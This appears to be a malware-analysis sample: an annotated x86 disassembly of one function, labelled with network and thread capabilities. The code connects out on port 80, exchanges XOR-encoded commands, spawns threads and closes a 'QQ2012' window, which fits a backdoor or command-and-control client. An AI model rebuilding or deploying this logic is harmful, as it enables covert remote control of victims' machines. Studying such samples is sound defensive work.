Function at 0x401570
Capabilities:
Connect socket
Create raw socket
Create thread
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0xa28
xor eax, eax
push ebx
mov dword [esp + 4], eax
push ebp
mov dword [esp + 0xc], eax
push esi
push edi
mov dword [esp + 0x18], eax
push 0x50
mov dword [esp + 0x20], eax
mov word [esp + 0x14], 2
call sub.WS2_32.dll_htons
push 0x411338
mov word [esp + 0x16], ax
call sub.WS2_32.dll_inet_addr
xor ecx, ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x28], ecx
mov edi, 0x411124
mov dword [esp + 0x2c], ecx
xor eax, eax
mov dword [esp + 0x30], ecx
or ecx, 0xffffffff
xor ebp, ebp
lea edx, [esp + 0x28]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0xbc], ebp
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push ebp
and ecx, 3
push 1
rep movsb byte es:[edi], byte [esi]
push 2
call sub.WS2_32.dll_socket
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40161f
push eax
call sub.WS2_32.dll_closesocket
pop edi
mov dword [0x41159c], ebp
pop esi
pop ebp
mov eax, 2
pop ebx
add esp, 0xa28
ret
mov dword [0x40e0dc], 0x2dc6c0
cmp dword [0x40e0dc], ebp
jg 0x401644
push 0x4115a8
mov dword [0x41159c], ebp
call sub.basics.dll_reboot
add esp, 4
lea eax, [esp + 0x10]
push 0x10
push eax
push ebx
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x401669
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [0x40e0dc]
jmp 0x401629
mov ecx, 0x128
lea esi, [esp + 0x20]
lea edi, [esp + 0x4c0]
mov dword [esp + 0xbc], ebp
mov dword [esp + 0x24], 3
mov dword [esp + 0x20], ebp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x4c0]
push 0xa0
push ecx
call sub.basics.dll_get_xorpcode
add esp, 8
lea edx, [esp + 0x4c0]
push ebp
push 0xa0
push edx
push ebx
call sub.WS2_32.dll_send
test eax, eax
jl 0x4017b6
push ebp
lea eax, [esp + 0x4c4]
push 0xa0
push eax
push ebx
call sub.WS2_32.dll_recv
cmp eax, ebp
jl 0x4017b6
cmp eax, 0xa0
jne 0x4017a6
lea ecx, [esp + 0x4c0]
push eax
push ecx
call sub.basics.dll_get_xorpcode
mov ecx, 0x28
lea esi, [esp + 0x4c8]
lea edi, [esp + 0x28]
add esp, 8
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x20]
cmp eax, ebp
je 0x4017a6
cmp eax, 2
jne 0x40178e
push ebx
call sub.WS2_32.dll_closesocket
push 0x411054
push ebp
push ebp
push 0x401af0
push ebp
push ebp
mov dword [0x4115a4], ebp
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [str.QQ2012]
mov dword [0x411050], eax
push edx
push ebp
call dword [sym.imp.USER32.dll_FindWindowA]
cmp eax, ebp
je 0x401771
push ebp
push ebp
push 0x10
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
push 0x7d0
mov dword [0x4115a4], 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4115a8
call sub.basics.dll_reboot
add esp, 4
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401669
cmp eax, 1
jne 0x4017a6
mov eax, dword [0x40e0ac]
push eax
push 0x411130
call fcn.004017d0
add esp, 8
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401669
push ebx
call sub.WS2_32.dll_closesocket
pop edi
mov dword [0x41159c], ebp
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xa28
ret